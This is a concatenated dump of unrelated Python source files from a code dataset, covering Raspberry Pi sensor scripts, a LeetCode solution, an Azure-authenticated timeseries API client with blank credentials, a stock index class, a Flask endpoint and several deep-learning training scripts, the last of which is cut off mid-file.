get_y_rotation(x,y,z):\n radians = math.atan2(x, dist(y,z))\n return -math.degrees(radians)\n\ndef get_x_rotation(x,y,z):\n radians = math.atan2(y, dist(x,z))\n return math.degrees(radians)\n\n\nbus = smbus.SMBus(1) # or bus = smbus.SMBus(1) for Revision 2 boards\naddress = 0x68 # This is the address value read via the i2cdetect command\n\n# Now wake the 6050 up as it starts in sleep mode\nbus.write_byte_data(address, power_mgmt_1, 0)\n#pixels = neopixel.NeoPixel(board.D18, 144, pixel_order=neopixel.RGBW)\npixels = neopixel.NeoPixel(board.D18, 144, pixel_order=neopixel.RGBW)\n\nloop = 0\nwhile loop == 0:\n # Check for stop signal\n h = open(\"status.txt\", \"r\")\n status = h.read()\n h.close()\n \n if status == \"STOP\":\n #print(\"Accel Status is 'STOP' after \" + str(x) + \"iterations.\")\n loop = 1\n break\n\n time.sleep(0.03)\n\n gyro_xout = read_word_2c(0x43)\n gyro_yout = read_word_2c(0x45)\n gyro_zout = read_word_2c(0x47)\n\n #print (\"gyro_xout : \", gyro_xout, \" scaled: \", (gyro_xout / 131))\n #print (\"gyro_yout : \", gyro_yout, \" scaled: \", (gyro_yout / 131))\n #print (\"gyro_zout : \", gyro_zout, \" scaled: \", (gyro_zout / 131))\n\n accel_xout = read_word_2c(0x3b)\n accel_yout = read_word_2c(0x3d)\n accel_zout = read_word_2c(0x3f)\n\n accel_xout_scaled = accel_xout / 16384.0\n accel_yout_scaled = accel_yout / 16384.0\n accel_zout_scaled = accel_zout / 16384.0\n\n #print (\"accel_xout: \", accel_xout, \" scaled: \", accel_xout_scaled)\n #print (\"accel_yout: \", accel_yout, \" scaled: \", accel_yout_scaled)\n #print (\"accel_zout: \", accel_zout, \" scaled: \", accel_zout_scaled)\n\n #print (\"x rotation: \" , get_x_rotation(accel_xout_scaled, accel_yout_scaled, accel_zout_scaled))\n #print (\"y rotation: \" , get_y_rotation(accel_xout_scaled, accel_yout_scaled, accel_zout_scaled))\n \n accel_r = accel_xout_scaled\n accel_g = accel_yout_scaled\n accel_b = accel_zout_scaled\n \n accel_r = int(accel_r*255)\n accel_g = int(accel_g*255)\n accel_b = int(accel_b*255)\n \n if accel_r < 0: accel_r = accel_r * -1\n if accel_b < 0: accel_b = accel_b * -1\n if accel_g < 0: accel_g = accel_g * -1\n \n if accel_r > 255: accel_r = 255\n if accel_b > 255: accel_b = 255\n if accel_g > 255: accel_g = 255\n\n pixels.fill((int(accel_r), int(accel_g), int(accel_b), 0))\n print(\"Filling with R: \"+str(int(accel_r))+\" G: \"+str(int(accel_g))+\" B: \"+str(int(accel_b)))\n \n","sub_path":"accel.py","file_name":"accel.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"248961993","text":"\n# Space: O(1)\n# Time: O(logn)\n\nclass Solution:\n def isPerfectSquare(self, num: int) -> bool:\n if num == 1: return True\n left, right = 1, num\n while left <= right:\n mid = (left + right) // 2\n if mid * mid == num: return True\n\n if mid * mid < num:\n left = mid + 1\n elif mid * mid > num:\n right = mid - 1\n\n return False\n\n\n\n\n\n","sub_path":"Algorithms/0367_Valid_Perfect_Square/Python/Valid_Perfect_Square_Solution_2.py","file_name":"Valid_Perfect_Square_Solution_2.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"189298147","text":"import json\r\nimport logging\r\nimport adal\r\nimport requests\r\nfrom pprint import pprint\r\n\r\ndef turn_on_logging():\r\n logging.basicConfig(level=logging.ERROR)\r\n\r\n# Below you find client credentials. It is the user responsibility to be compliance to Equinor WR1211 chapter 9.3.1:\r\n# - Passwords used to access Equinor information are private and shall not be shared or handled in a way that it allows \r\n# unauthorized access. \r\n# Secure the parameters and credentials, keep them out of the source code and version control. \r\n\r\nparameters_file = {\r\n #This is the resource id of the Timeseries API, provided by Omnia Plant\r\n 'resource': '', \r\n #This is the Equinor Azure AD tenant id, provided by Omnia Plant\r\n 'tenant': '', \r\n #This is the authority host where authentication requests are served\r\n 'authorityHostUrl': 'https://login.microsoftonline.com', \r\n #This is the client/application id of your client app registered in Equinor's Azure AD tenant, provided by Omnia Plant\r\n 'clientId': '',\r\n #This is the client/application secret of your client app registered in Equinor's Azure AD tenant, provided by Omnia Plant\r\n 'clientSecret': '',\r\n #This is the API version, the version is included in the URI\r\n 'apiVersion': '',\r\n #API endpoint to call\r\n 'apiEndpoint': '',\r\n #Omnia Timeseries API host, will differ depending on being beta or GA release\r\n 'apiHost': ''\r\n}\r\n\r\nauthority_url = (parameters_file['authorityHostUrl'] + '/' + parameters_file['tenant'])\r\n\r\nturn_on_logging()\r\n\r\ncontext = adal.AuthenticationContext(\r\n authority_url, validate_authority=True)\r\n\r\ntoken = context.acquire_token_with_client_credentials(\r\n parameters_file['resource'],\r\n parameters_file['clientId'],\r\n parameters_file['clientSecret'])\r\n\r\napi_uri = parameters_file['apiHost'] + '/' + parameters_file['apiEndpoint'] + '/' + parameters_file['apiVersion'] + '/'\r\napi_header = {'Authorization': 'Bearer %s' % token['accessToken']}\r\n\r\ndef getTimeseriesById(id):\r\n url = api_uri + id\r\n r = requests.get(url, params=None, headers=api_header)\r\n print(\"Timeseries metadata by id lookup, with statuscode:\", r.status_code, \"\\nResponse:\", \r\n json.dumps(r.json(), sort_keys=True, indent=2))\r\n\r\ndef getTimeseriesByName(name):\r\n parameters = {'name': name}\r\n r = requests.get(api_uri, params=parameters, headers=api_header)\r\n print(\"Timeseries metadata by name lookup, with statuscode:\", r.status_code, \"\\nResponse:\", \r\n json.dumps(r.json(), sort_keys=True, indent=2))\r\n\r\ndef createTimeseries(body):\r\n r = requests.post(api_uri, json=body, params=None, headers=api_header)\r\n print(\"Created a timeseries metadata object , with statuscode:\", r.status_code, \"\\nResponse:\", \r\n json.dumps(r.json(), sort_keys=True, indent=2))\r\n\r\ndef partialUpdateOfTimeseries(id, body):\r\n url = api_uri + id\r\n r = requests.patch(url, json=body, params=None, headers=api_header)\r\n print(\"Partial update of a timeseries metadata object , with statuscode:\", r.status_code, \"\\nResponse:\", \r\n json.dumps(r.json(), sort_keys=True, indent=2))\r\n\r\nif __name__ == \"__main__\":\r\n getTimeseriesById('cb62dda0-a115-4d6a-a69f-2d6785f079e9')\r\n getTimeseriesByName(\"50PT1234\")\r\n createTimeseries({\r\n \"name\": \"23PT1234\",\r\n \"description\": \"Pressure Transmitter\",\r\n \"step\": True,\r\n \"unit\": \"bar\",\r\n \"assetId\": \"1218\",\r\n \"externalId\": \"123456-sys\"\r\n })\r\n partialUpdateOfTimeseries('fa598432-9199-4f4e-8776-8340a3792b0a', {\r\n \"description\": \"Pressure Transmitter on 1st stage Gas Compressor\"\r\n })\r\n","sub_path":"Omnia Timeseries API/Python samples/ts_metadata_client_credentials.py","file_name":"ts_metadata_client_credentials.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"450494727","text":"import os\nimport glob\nimport time\n\nbase_dir = '/sys/bus/w1/devices/'\ndevice_folder = glob.glob(base_dir + '28*')[0]\ndevice_file = device_folder + '/w1_slave'\n\ndef read_device_file():\n f = open(device_file, 'r')\n lines = f.readlines()\n f.close()\n return lines\n\ndef parse_temperature():\n lines = read_device_file()\n while lines[0].strip()[-3:] != 'YES':\n time.sleep(0.1)\n lines = read_device_file()\n equals_pos = lines[1].find('t=')\n if equals_pos != -1:\n temperature_string = lines[1][equals_pos+2:]\n temperature_c = float(temperature_string) / 1000.0\n temperature_f = temperature_c * 9.0 / 5.0 + 32.0\n return temperature_c, temperature_f\n\ntry:\n print('按下 Ctrl-C 可以中斷程式')\n while True:\n c, f = parse_temperature()\n print('溫度為攝氏 {:.2f} 度,華氏 {:.2f} 度'.format(c, f))\n time.sleep(5)\nexcept KeyboardInterrupt:\n print('關閉程式')","sub_path":"other/temperature.py","file_name":"temperature.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"623641597","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 04 17:18:09 2015\n\n@author: CHEN\n\"\"\"\nimport sys\n\ndef readBlast(path):\n\thandle = open(path, 'r')\n\tlines = handle.readlines()\n\thandle.close()\n\tdb = [line.split('\\t') for line in lines]\n\treturn db\n\t\ndef parseDB(db):\n\tsp_names =list(set([seqids[1][:6] for seqids in db]))\n\tlist_of_remove = [list(set([item[0] + '\\n' for item in db if item[0][:6] == name and item[0] != item[1]])) for name in sp_names]\n\treturn list_of_remove\n\t\ndef writeList(lst, path):\n\thandle = open(path, 'w')\n\tfor item in lst:\n\t\thandle.writelines(item)\n\thandle.close()\n\treturn False\n\t\nin_path = sys.argv[1]\nout_path = sys.argv[2]\n\ndb = readBlast(in_path)\nlst = parseDB(db)\nwriteList(lst, out_path)","sub_path":"clean_pot_duplications.py","file_name":"clean_pot_duplications.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"207283600","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nfrom keras.preprocessing import sequence\nfrom keras.datasets import imdb\nfrom keras import layers, models\nfrom keras.models import Sequential\nfrom keras import layers\nimport os\nimport sys\nimport pickle\nimport numpy as np\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.utils import to_categorical\nimport random\nfrom keras import optimizers\nfrom keras.layers import SimpleRNN, Dense\nfrom keras.layers import Bidirectional\n \n\ndef load_data(dirname):\n listfile=os.listdir(dirname)\n X = []\n Y = []\n for file in listfile:\n if \"_\" in file:\n continue\n wordname=file\n textlist=os.listdir(dirname+wordname)\n for text in textlist:\n if \"DS_\" in text:\n continue\n textname=dirname+wordname+\"/\"+text\n numbers=[]\n #print(textname)\n with open(textname, mode = 'r') as t:\n numbers = [float(num) for num in t.read().split()]\n #print(len(numbers[0]))\n for i in range(len(numbers),12600):\n numbers.extend([0.000]) #300 frame 고정\n #numbers=np.array(numbers)\n #print(numbers[0])\n #numbers=np.array(numbers)\n #print(numbers)\n row=42*8#앞의 8프레임 제거\n landmark_frame=[]\n for i in range(0,100):#뒤의 142프레임제거==> 총 150프레임으로 고정\n #print(numbers[row*42:(row*42)+41])\n landmark_frame.extend(numbers[row:row+42])\n row += 42\n landmark_frame=np.array(landmark_frame)\n landmark_frame=list(landmark_frame.reshape(-1,42))#2차원으로 변환(260*42)\n #print(landmark_frame.shape)\n X.append(np.array(landmark_frame))\n Y.append(wordname)\n X=np.array(X)\n Y=np.array(Y)\n print(X.shape)\n tmp = [[x,y] for x, y in zip(X, Y)]\n random.shuffle(tmp)\n\n X = [n[0] for n in tmp]\n Y = [n[1] for n in tmp]\n '''\n t = Tokenizer()\n t.fit_on_texts(Y)\n encoded=t.texts_to_sequences(Y)\n one_hot=to_categorical(encoded)\n '''\n text=\"Apple Bird Sorry\"\n t = Tokenizer()\n t.fit_on_texts([text])\n print(t.word_index) \n #one_hot=to_categorical(encoded)\n encoded=t.texts_to_sequences([Y])[0]\n print(encoded)\n one_hot = to_categorical(encoded)\n (x_train, y_train) = X, one_hot\n #print(x_train[0])\n\n x_train=np.array(x_train)\n y_train=np.array(y_train)\n a=x_train.shape[0]\n a=a//3\n return x_train[0:2*a],y_train[0:2*a],x_train[2*a:-1],y_train[2*a:-1]\n\n\ndef simple_rnn():\n model = Sequential()\n model.add(SimpleRNN(units=64, input_shape=(200, 42)))\n model.add(Dense(64, activation=\"softmax\")) #softmax, linear 어떤걸 기준으로 하지\n model.add(Dense(128, activation=\"linear\")) #softmax, linear 어떤걸 기준으로 하지\n model.add(Dense(21))\n model.compile(loss='categorical_crossentropy',optimizer='adam', metrics=['accuracy'])\n return model\n \n\ndef rnn_lstm():\n model = Sequential()\n model.add(layers.LSTM(64,return_sequences=True,input_shape=(100,42))) # returns a sequence of vectors of dimension 32\n model.add(layers.LSTM(32, return_sequences=True)) # returns a sequence of vectors of dimension 32\n model.add(layers.LSTM(32)) # return a single vector of dimension 32\n model.add(layers.Dense(3, activation='softmax')) \n model.compile(loss='categorical_crossentropy',optimizer='adam', metrics=['accuracy'])\n return model\n\ndef bidirectional_lstm():\n model = Sequential()\n model.add(Bidirectional(layers.LSTM(64, return_sequences=True), input_shape=(100, 42)))\n model.add(layers.Bidirectional(layers.LSTM(32)))\n model.add(layers.Dense(3, activation='softmax'))\n model.compile(loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy']) \n return model\n\ndef build_model():\n model = Sequential()\n model.add(layers.LSTM(32, return_sequences=True,\n input_shape=(100, 42))) # returns a sequence of vectors of dimension 32\n model.add(layers.LSTM(32, return_sequences=True)) # returns a sequence of vectors of dimension 32\n model.add(layers.LSTM(32)) # return a single vector of dimension 32\n model.add(layers.Dense(4, activation='softmax'))\n model.compile(loss='categorical_crossentropy',\n optimizer='rmsprop',\n metrics=['accuracy'])\n return model\n\ndef main(dirname):\n x_train,y_train,x_test,y_test=load_data(dirname)\n num_val_samples=(x_train.shape[0])//5\n #print(num_val_samples)\n #num_epochs=5\n #all_scores=[]\n model=build_model()\n '''\n for i in range(5):#5개의 분할로 시행 # k-겹 교차 검증 \n print('처리중인 폴드 #',i)\n val_data=x_train[i*num_val_samples:(i+1)*num_val_samples]\n val_targets=y_train[i*num_val_samples:(i+1)*num_val_samples]\n partial_train_data=np.concatenate([x_train[:i*num_val_samples],\n x_train[(i+1)*num_val_samples:]],\n axis=0)\n partial_train_targets=np.concatenate([y_train[:i*num_val_samples],\n y_train[(i+1)*num_val_samples:]],\n axis=0)\n #labels=load_label(dirname)\n '''\n print('Training stage')\n print('==============')\n history=model.fit(x_train,y_train,epochs=100,batch_size=32,validation_data=(x_test,y_test))\n score, acc = model.evaluate(x_test,y_test,batch_size=32,verbose=0)\n print('Test performance: accuracy={0}, loss={1}'.format(acc, score))\n model.save('simpleRNN.h5')\n\n #score, acc = model.evaluate(x_test,y_test,batch_size=32)\n #print('Test performance: accuracy={0}, loss={1}'.format(acc, score))\n \nif __name__=='__main__':\n main(\"/Users/jongwook/Desktop/test1/outputdata/\")\n","sub_path":"model/training_onehot.py","file_name":"training_onehot.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"404783120","text":"import decimal\nfrom decimal import Decimal\nfrom app_exception import GeneralAppException\nfrom common import enum\n\nSTOCK_ERROR_LIST = [\n\"STOCKINDEX_MAX_STOCK\" \n,\"STOCK_PRICE_MAX_FRACTIONDIGIT\"\n,\"STOCK_MAX_NUMISSUED\"\n,\"STOCK_MAX_PRICE\"\n,\"STOCK_INDEX_EXCEED_MAX\"\n]\n\nSTOCK_ERROR_ENUM = enum.str_enum(*STOCK_ERROR_LIST)\ndel STOCK_ERROR_LIST\n\nclass Stock(object):\n \"\"\"\n \n \n\n TODO: maybe add validation when assigning data members\n \"\"\"\n _ten = Decimal(10)\n max_numberissued = _ten ** 100\n max_price = _ten ** 30\n price_max_fractiondigits = 2\n \n def __init__(self, ticker, price, number_issued):\n\n self._ticker = ticker\n self._price = price\n self._numberissued = number_issued\n \n self._check_fraction_precision()\n \n if(self._price > self.__class__.max_price):\n raise GeneralAppException(\n STOCK_ERROR_ENUM.STOCK_MAX_PRICE\n ,\"stock max price {:e} exceeded\".format(self.__class__.max_price))\n\n if(self._numberissued > self.__class__.max_numberissued):\n raise GeneralAppException(\n STOCK_ERROR_ENUM.STOCK_MAX_NUMISSUED\n ,\"stock max number issued {:e} exceeded\".format(self.__class__.max_numberissued))\n\n \"\"\"\n def to_string(self):\n result = \"ticker = {0}, price = {1:f}, numberIssued = {2:e}\" \\\n .format(self._ticker, self._price, self._numberissued)\n\n return result\n \"\"\"\n\n def __str__(self):\n result = \"ticker = {0}, price = {1:f}, numberIssued = {2:e}\" \\\n .format(self._ticker, self._price, self._numberissued)\n\n return result\n\n def get_totalmarketvalue(self):\n return self._price * self._numberissued\n\n def _check_fraction_precision(self):\n try:\n Decimal(self._price).quantize(\n self.__class__._ten ** (-self.__class__.price_max_fractiondigits)\n ,context=decimal.Context(traps=[decimal.Inexact]))\n except decimal.Inexact:\n raise GeneralAppException(\n STOCK_ERROR_ENUM.STOCK_PRICE_MAX_FRACTIONDIGIT\n ,\"stock price max fraction digits {:e} exceeded\"\n .format(self.__class__.price_max_fractiondigits))\n\n\nclass SimpleStockIndex(object):\n \"\"\"A stock-index is a measure of the value of a relatively small group of \n representative stocks that is used as a gauge of the broader market of \n similar stocks. \n \n In this assignment, a very simple measure will be used: the average of the\n total market value of all of the stocks in this stock-index. Total market \n value is here defined as the product of the price and the number of shares \n issued\"\"\"\n\n #better way is to dynamically determine max based on memory\n #need to know to get max memory and current memory\n max_num_stocks = 100000\n\n def __init__(self): \n self._stocks = {}\n\n def add_stock(self, ticker, price, number_issued):\n if(len(self._stocks) < self.__class__.max_num_stocks):\n stock = Stock(ticker, price, number_issued)\n\n #this should overwrite if ticker already exists\n self._stocks[ticker] = stock\n else:\n raise GeneralAppException(\n STOCK_ERROR_ENUM.STOCK_INDEX_EXCEED_MAX\n ,\" max number {:e} already reached\".format(self.__class__.max_num_stocks)) \n\n def print_stock(self, ticker):\n result = None\n\n if(ticker in self._stocks):\n result = str(self._stocks[ticker])\n\n return result\n\n def calculate_index(self):\n result = sum([item.get_totalmarketvalue() for item in self._stocks.values()])\n \"\"\"\n for item in self._stocks.values():\n result += item.get_totalmarketvalue()\n\"\"\"\n if(len(self._stocks) > 0):\n result /= len(self._stocks)\n\n return result\n \n","sub_path":"lab/c++/lab1/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":3992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"622548854","text":"# -*- coding: utf-8 -*-\nfrom flask import request, current_app, Blueprint, g\n\nfrom ..errors import UPUSH_ERR\nfrom ..flaskutils import tracecall, nocache, params\nfrom ..flaskutils import checksessionid\nfrom ..flaskutils import U_collect_params, U_mkret\n\napplication_add_blueprint = Blueprint('application/add', __name__)\n\n\n@application_add_blueprint.route('/application/add', methods=['POST'])\n@nocache\n@checksessionid(renew=True)\n@params(mandatory=[\"application\", \"description\"])\n@tracecall\ndef application_add():\n params = U_collect_params(request)\n\n # Check already existing app\n if g.DB.application_exists(params[\"application\"]):\n return U_mkret(current_app, UPUSH_ERR.APPNAME_ALREADY_EXISTS)\n\n # Add app\n sessid = params.get(current_app.config[\"SESSION_COOKIE_NAME\"])\n g.DB.add_application(params[\"application\"], params[\"description\"],\n g.DB.get_userid_from_sessid(sessid))\n\n return U_mkret(current_app, UPUSH_ERR.OK)\n","sub_path":"upush/api/commands/command_application_add.py","file_name":"command_application_add.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"387307635","text":"import torch\nimport os\nimport xml.etree.ElementTree as ET\nimport numpy as np\nimport collections\n\nfrom trash_lite_model import TrashLiteModel\nfrom engine import train_one_epoch, evaluate\nfrom PIL import Image\nimport utils\nimport transforms as T\n\n\nclass TrashDataset(object):\n def __init__(self, root, transforms, obj_types):\n self.root = root\n self.obj_types = obj_types\n self.transforms = transforms\n # load all image files, sorting them to\n # ensure that they are aligned\n annotation_files = list(sorted(os.listdir(os.path.join(root, \"Annotations\"))))\n self.annotation = []\n for afile in annotation_files:\n file_path = os.path.join(root, \"Annotations\", afile)\n anno_dict = self.parse_voc_xml(\n ET.parse(file_path).getroot())\n self.annotation.append(anno_dict)\n\n def parse_voc_xml(self, node):\n voc_dict = {}\n children = list(node)\n if children:\n def_dic = collections.defaultdict(list)\n for dc in map(self.parse_voc_xml, children):\n for ind, v in dc.items():\n def_dic[ind].append(v)\n voc_dict = {\n node.tag:\n {ind: v[0] if len(v) == 1 else v\n for ind, v in def_dic.items()}\n }\n if node.text:\n text = node.text.strip()\n if not children:\n voc_dict[node.tag] = text\n return voc_dict\n\n def __getitem__(self, idx):\n annotation = self.annotation[idx]['annotation']\n img_path = os.path.join(self.root, \"JPEGImages\", annotation['folder'], annotation['filename'])\n img = Image.open(img_path).convert(\"RGB\")\n num_objs = len(annotation['object'])\n boxes = []\n labels = []\n if not isinstance(annotation['object'], list):\n annotation['object'] = [annotation['object']]\n for obj in annotation['object']:\n bnbox = obj['bndbox']\n boxes.append([float(bnbox['xmin']), float(bnbox['ymin']), float(bnbox['xmax']), float(bnbox['ymax'])])\n labels.append(self.obj_types[obj['name']])\n\n boxes = torch.as_tensor(boxes, dtype=torch.float32)\n # there is only one class\n labels = torch.LongTensor(labels)\n\n image_id = torch.tensor([idx])\n area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 2] - boxes[:, 0])\n # suppose all instances are not crowd\n iscrowd = torch.zeros((num_objs,), dtype=torch.int64)\n\n target = {}\n target[\"boxes\"] = boxes\n target[\"labels\"] = labels\n target[\"image_id\"] = image_id\n target[\"area\"] = area\n target[\"iscrowd\"] = iscrowd\n\n if self.transforms is not None:\n img, target = self.transforms(img, target)\n\n return img, target\n\n def __len__(self):\n return len(self.annotation)\n\ndef get_transform(train):\n transforms = []\n transforms.append(T.ToTensor())\n if train:\n transforms.append(T.RandomHorizontalFlip(0.5))\n return T.Compose(transforms)\n\nnum_classes = 3 #Background, Shoe, Cola\nclasses = {\"Shoes\":1,\"Cola\":2}\ndevice = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\nmodel = TrashLiteModel(num_classes)\ndataset = TrashDataset(\"Dataset\",get_transform(train=True),classes)\ndataset_test = TrashDataset('Dataset', get_transform(train=False),classes)\n\n# # split the dataset in train and test set\n# indices = torch.randperm(len(dataset)).tolist()\n# dataset = torch.utils.data.Subset(dataset, indices[:-50])\n# dataset_test = torch.utils.data.Subset(dataset_test, indices[-50:])\n\n# define training and validation data loaders\ndata_loader = torch.utils.data.DataLoader(\n dataset, batch_size=2, shuffle=True, num_workers=4,\n collate_fn=utils.collate_fn)\n\ndata_loader_test = torch.utils.data.DataLoader(\n dataset_test, batch_size=1, shuffle=False, num_workers=4,\n collate_fn=utils.collate_fn)\n\n# construct an optimizer\nparams = [p for p in model.parameters() if p.requires_grad]\noptimizer = torch.optim.SGD(params, lr=0.005,\n momentum=0.9, weight_decay=0.0005)\n# and a learning rate scheduler\nlr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer,\n step_size=3,\n gamma=0.1)\n\nmodel.to(device)\nnum_epochs = 10\nfor epoch in range(num_epochs):\n # train for one epoch, printing every 10 iterations\n print(\"Epoch: \"+ str(epoch))\n train_one_epoch(model, optimizer, data_loader, device, epoch, print_freq=10)\n # update the learning rate\n lr_scheduler.step()\n #evaluate on the test dataset\n #evaluate(model, data_loader_test, device=device)\nmodel.eval()\ntorch.save(model.state_dict(), \"./trash.pt\")","sub_path":"server/torch_objdetect/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"357549343","text":"\"\"\"\nRichard Wang\n\"\"\"\n\nimport tensorflow as tf\nimport sys\nfrom myLib_wavenet_stft_cv_mergenet import *\nimport scipy.io as scipy_io\nimport os\nimport pdb\nimport re\nimport time\n\ntimestr = time.strftime(\"%Y%m%d-%H%M%S\")\nfile_name = os.path.basename(sys.argv[0])\nfile_name = re.sub('.py','',file_name)\n\n# conv1d_transpose = tf.contrib.layers.conv2d_transpose\nconv = tf.contrib.slim.convolution\ndef deconv(input, num_outputs, kernel_size, stride, scope):\n with tf.variable_scope(scope):\n input = tf.expand_dims(input, axis = 1)\n output = tf.contrib.slim.conv2d_transpose(input,num_outputs,[1,filter_width],[1,stride],scope=scope)\n output = tf.squeeze(output,axis = 1)\n return output\n\n \n# height = 16 # STFT 40-200Hz, 10Hz/band\nwidth = (512+64)/4 # ecog segment width 26701\nwidth_show = (512+64)/4\n# depth = 24\n# height_ = 128 # 0-6kHz\nwidth_ = 512/4 # spech segment width 26701\nwidth_show_ = 9289-32#512/4\ndepth_ = 32#128#128#256#15#32 \nnum_words = 32\n# dilations = [1, 2, 4, 8, 16, 32,\n# 1, 2, 4, 8, 16, 32,]\n# dilations = [1, 2, 4, 8, 16,\n# 1, 2, 4, 8, 16,]\n # 1, 2, 4, 8, 16, 32, 64,\n # 1, 2, 4, 8, 16, 32, 64,\n # 1, 2, 4, 8, 16, 32, 64,\n # 1, 2, 4, 8, 16, 32, 64,]\ndilations = [1, 2, 4, 8, 16,\n 1, 2, 4, 8, 16,]\n# frame_length = 64\n# frame_step = 32\nLOG_DIR = './log/'+file_name+'_'+timestr \nLOG_DIR_RESULT = LOG_DIR+'/result/'\ndilation_channels = 32\nresidual_channels = 16\nskip_channels = 64#512\nfilter_width = 2\nL2_REG_WEIGHT = 0#0.001\nL1_REG_WEIGHT = 0.000\nSiamese_Margin = 0.6\nSIM_WEIGHT=1.#1.0\ninitial_filter_width_ = 32\nquantization_channels = 2**8\nlr = 1e-4\nfrom ops import *\n\nif not os.path.exists(LOG_DIR):\n os.makedirs(LOG_DIR)\nif not os.path.exists(LOG_DIR_RESULT):\n os.makedirs(LOG_DIR_RESULT)\n\nimport shutil\nfor file in os.listdir('.'):\n if file.endswith(\".py\"):\n shutil.copy(file,LOG_DIR+'/'+file)\n\ndef causal_conv(value, filter_, dilation=1, name='causal_conv'):\n with tf.name_scope(name):\n filter_width = tf.shape(filter_)[0]\n if dilation > 1:\n transformed = time_to_batch(value, dilation)\n conv = tf.nn.conv1d(transformed, filter_, stride=1,\n padding='SAME')\n restored = batch_to_time(conv, dilation)\n else:\n restored = tf.nn.conv1d(value, filter_, stride=1, padding='SAME')\n # Remove excess elements at the end.\n out_width = tf.shape(value)[1] - (filter_width - 1) * dilation\n result = tf.slice(restored,\n [0, 0, 0],\n [-1, out_width, -1])\n return result\n\ndef reshape_result(final_result):\n final_result1 = np.concatenate((np.zeros((final_result.shape[0],final_result.shape[1],1)),final_result[:,:,:depth_/2]),axis=2)\n final_result2 = np.concatenate((np.zeros((final_result.shape[0],final_result.shape[1],1)),final_result[:,:,depth_/2:]),axis=2)\n final_result = np.concatenate((\n np.power(10,final_result1[:,:,:,np.newaxis])/10,\n final_result2[:,:,:,np.newaxis]),axis=3)\n return final_result\n\ndef res_block(input_batch,layer_index,dilation,keep_prob, train_phase, reuse=None, scope = 'residual_block'):\n with tf.variable_scope(scope,reuse = reuse):\n num_outputs = dilation_channels\n kernel_size = filter_width\n conv_filter = conv(input_batch, num_outputs, kernel_size, \n rate = dilation, activation_fn = None, \n scope = 'dilation_conv{}'.format(layer_index))\n conv_filter = tf.contrib.layers.batch_norm(conv_filter, decay = 0.95, scale = True, is_training = train_phase, reuse = reuse, scope = 'dilation_conv_norm')\n conv_gate = conv(input_batch, num_outputs, kernel_size, \n rate = dilation, activation_fn = None, \n scope = 'dilation_gate{}'.format(layer_index))\n conv_gate = tf.contrib.layers.batch_norm(conv_gate, decay = 0.95, scale = True, is_training = train_phase, reuse = reuse, scope = 'dilation_gate_norm') \n out = tf.tanh(conv_filter) * tf.sigmoid(conv_gate)\n out = tf.nn.dropout(out,keep_prob)\n transformed = conv(out,\n residual_channels, \n kernel_size = 1,\n activation_fn = None,\n scope=\"dense{}\".format(layer_index))\n # transformed = tf.nn.dropout(transformed,keep_prob)\n skip_contribution = conv(out, \n skip_channels, \n kernel_size = 1,\n activation_fn = None,\n scope=\"skip{}\".format(layer_index))\n # skip_contribution = tf.nn.dropout(skip_contribution,keep_prob)\n return skip_contribution, input_batch+transformed\n\ndef network_wavenet(input_batch, keep_prob, train_phase,reuse=None):\n outputs = []\n initial_filter_width = initial_filter_width_\n current_layer = input_batch\n \n # current_layer = deconv(current_layer,\n # skip_channels,\n # kernel_size = 16,\n # stride = 4, scope = 'upstride1')\n # current_layer = deconv(current_layer,\n # skip_channels,\n # kernel_size = 16,\n # stride = 4,scope = 'upstride2')\n # current_layer = deconv(current_layer,\n # skip_channels,\n # kernel_size = 8,\n # stride = 2,scope = 'upstride3')\n ##############code block for mergenet############\n transformed_results = []\n for d in xrange(num_dataset):\n input_batch_d = input_batch[d]\n with tf.variable_scope('transformer_layer_'+str(d),reuse = reuse):\n current_layer = conv(input_batch_d,\n 48,\n 1,\n activation_fn=tf.nn.relu,\n )\n transformed_results+=[current_layer]\n transformed = tf.concat(transformed_results,axis=0)\n current_layer = transformed\n ################################################\n\n # transformed = tf.concat(current_layer,axis=0)\n # current_layer = conv(transformed,64,1,activation_fn=tf.nn.relu)\n \n \n with tf.variable_scope('initial_layer',reuse = reuse):\n current_layer = conv(current_layer,\n residual_channels,\n initial_filter_width,\n activation_fn=None,\n )\n with tf.variable_scope('dilated_stack',reuse = reuse):\n for layer_index, dilation in enumerate(dilations):\n with tf.variable_scope('layer{}'.format(layer_index)):\n output, current_layer = res_block(\n current_layer, layer_index, dilation, keep_prob,train_phase) \n outputs.append(output)\n\n with tf.variable_scope('postprocessing',reuse = reuse):\n total = sum(outputs)\n transformed1 = tf.nn.relu(total)\n current_layer = transformed1\n # current_layer = conv(current_layer,\n # skip_channels,\n # kernel_size = 8,\n # activation_fn = None, \n # stride = 2, scope = 'downstride1')\n # current_layer = tf.contrib.layers.batch_norm(current_layer, decay = 0.95, is_training = train_phase, reuse = reuse, scope = 'downstride1_norm')\n # current_layer = tf.nn.relu(current_layer)\n # current_layer = tf.nn.dropout(current_layer,keep_prob)\n\n # current_layer = conv(current_layer,\n # 